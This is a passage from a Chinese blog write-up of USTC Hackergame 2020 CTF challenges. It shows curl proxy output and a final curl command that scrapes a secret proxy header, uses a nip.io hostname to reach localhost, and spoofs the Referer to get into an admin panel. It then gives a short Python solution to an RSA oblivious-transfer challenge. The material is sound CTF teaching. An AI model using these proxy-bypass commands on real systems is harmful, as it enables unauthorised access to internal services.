* Proxy replied 200 to CONNECT request
* CONNECT phase completed!
* CONNECT phase completed!
* CONNECT phase completed!
> GET / HTTP/1.1
> Host: www.ustc.edu.cn.127.0.0.1.nip.io:8080
> User-Agent: curl/7.73.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 403 Forbidden
< Date: Sat, 07 Nov 2020 07:00:06 GMT
< Content-Length: 57
< Content-Type: text/plain; charset=utf-8
<
* Connection #0 to host 146.56.228.227 left intact
管理中心需要从 '146.56.228.227' 被访问(Referer)

基本成功了,提示需要有 Referer,加上即可

最终的代码是

curl -v -k --proxy https://146.56.228.227/ --proxy-insecure --proxy-header "Secret: "(nghttp https://146.56.228.227/ 2>/dev/null | grep secret: | awk '{print $4}') http://www.ustc.edu.cn.127.0.0.1.nip.io:8080/ -p -H "Referer: https://146.56.228.227"

不经意传输

只会做第一问,太菜了

跟着 Oblivious transfer – Wikipedia 写代码即可

#!/usr/bin/env python3
n = 120187360767684036586783392583228452944023309698987007544198810550172001405033630234447617141947903509217793420103237126593247533025308396147198588107367478436300629769476188894168896590332542162241112109043741871820537529272608982082358297184173208281668070912847857293866277687347269846596106443813012830319
e = 65537
x0 = 22243556750882826592674375954759704463678229594099093094960176176606771068638236672482253738126223155361669457619783690843716323125385106671769651807397384759307871208163025849454514530425299120461008570117053792332198800602734484655567629611985289240084599541545763295858976023808863130703939688221641531250
x1 = 106959322767765524577198052628782764198123969265347246334577755112843928607591413291530762709088195426879300827215246873767033718048509943367541733138692092487925633593166450569876332231021223786051650586256686335150920680861900540984611382746740527473651397228148625114316332802582017918549435106930327241692
k = 1145141919810
v = (x0 + k ** e) % n
print(v)
m0_ = 35251617310601009600442243296057202591251700995064342152628151825481739736016968156990614918876998869857956037018980531542828298906511429872474001158529160120494217709127193141241760160766094345013506324191740613002398326596498368171731580003194830544586356619389634723251234154759779387634245406926452569977
m1_ = 69133011033899770447313163376643607296502535648189914597765931208911716305592621419751488897369974945977591138357697068827509969481410273603193545811820862993165907973613236887839931818094810809743970854166526255515249621056049057624092936642720759230297967612815785794126614106249628584904607135654274494944
m0 = m0_ - k
print(m0)

最后

本 Writeup 整理的比较仓促,一些细节可能也未能到位解释。

建议食用官方 Writeup, https://github.com/USTC-Hackergame/hackergame2020-writeups

爱奇艺双11大促:爱奇艺VIP+京东PLUS会员限时仅108元

上一篇

金蝶云全球用户大会2020干货不断 赵燕锡分享重构数字战斗力经验

下一篇

你也可能喜欢

USTC Hackergame 2020 – Writeup

长按储存图像,分享给朋友